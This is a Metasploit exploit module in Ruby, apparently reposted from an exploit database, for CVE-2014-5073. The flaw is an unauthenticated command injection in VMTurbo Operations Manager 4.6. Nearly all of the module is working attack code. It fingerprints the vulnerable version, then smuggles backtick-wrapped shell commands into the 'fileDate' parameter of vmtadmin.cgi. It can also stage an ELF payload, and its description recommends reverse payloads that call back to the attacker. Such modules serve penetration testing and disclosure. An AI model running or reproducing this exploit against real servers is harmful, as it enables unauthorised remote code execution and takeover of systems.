## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution', 'Description' => %q{ VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated OS Command injection in the web interface. Use reverse payloads for the most reliable results. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. Port binding payloads are disregarded due to the restrictive firewall settings. This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and 4.6. }, 'Author' => [ # Secunia Research - Discovery and Metasploit module 'Emilio Pinna ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5073'], ['OSVDB', '109572'], ['URL', 'http://secunia.com/secunia_research/2014-8/'] ], 'DisclosureDate' => 'Jun 25 2014', 'Privileged' => false, 'Platform' => %w{ linux unix }, 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } }, 'Targets' => [ [ 'Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'VMTurbo Operations Manager', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 )) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-bin/vmtadmin.cgi", 'vars_get' => { "callType" => "ACTION", "actionType" => "VERSIONS" } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("#{peer} - Failed to connect to the web server") return Exploit::CheckCode::Unknown end if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ version = $2 build = $1 vprint_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected") else vprint_status("#{peer} - Unexpected vmtadmin.cgi response") return Exploit::CheckCode::Unknown end if version and version <= "4.6" and build < "28657" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def execute_command(cmd, opts) begin res = send_request_cgi({ 'uri' => '/cgi-bin/vmtadmin.cgi', 'method' => 'GET', 'vars_get' => { "callType" => "DOWN", "actionType" => "CFGBACKUP", "fileDate" => "\"`#{cmd}`\"" } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("#{peer} - Failed to connect to the web server") return nil end vprint_status("Sent command #{cmd}") end # # generate_payload_exe doesn't respect module's platform unless it's Windows, or the user # manually sets one. This method is a temp work-around. # def check_generate_payload_exe if generate_payload_exe.nil? fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.") end end def exploit # Handle single command shot if target.name =~ /CMD/ cmd = payload.encoded res = execute_command(cmd, {}) unless res fail_with(Failure::Unknown, "#{peer} - Unable to execute payload") end print_status("#{peer} - Blind Exploitation - unknown exploitation state") return end check_generate_payload_exe # Handle payload upload using CmdStager mixin execute_cmdstager({:flavor => :printf}) end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-08-17]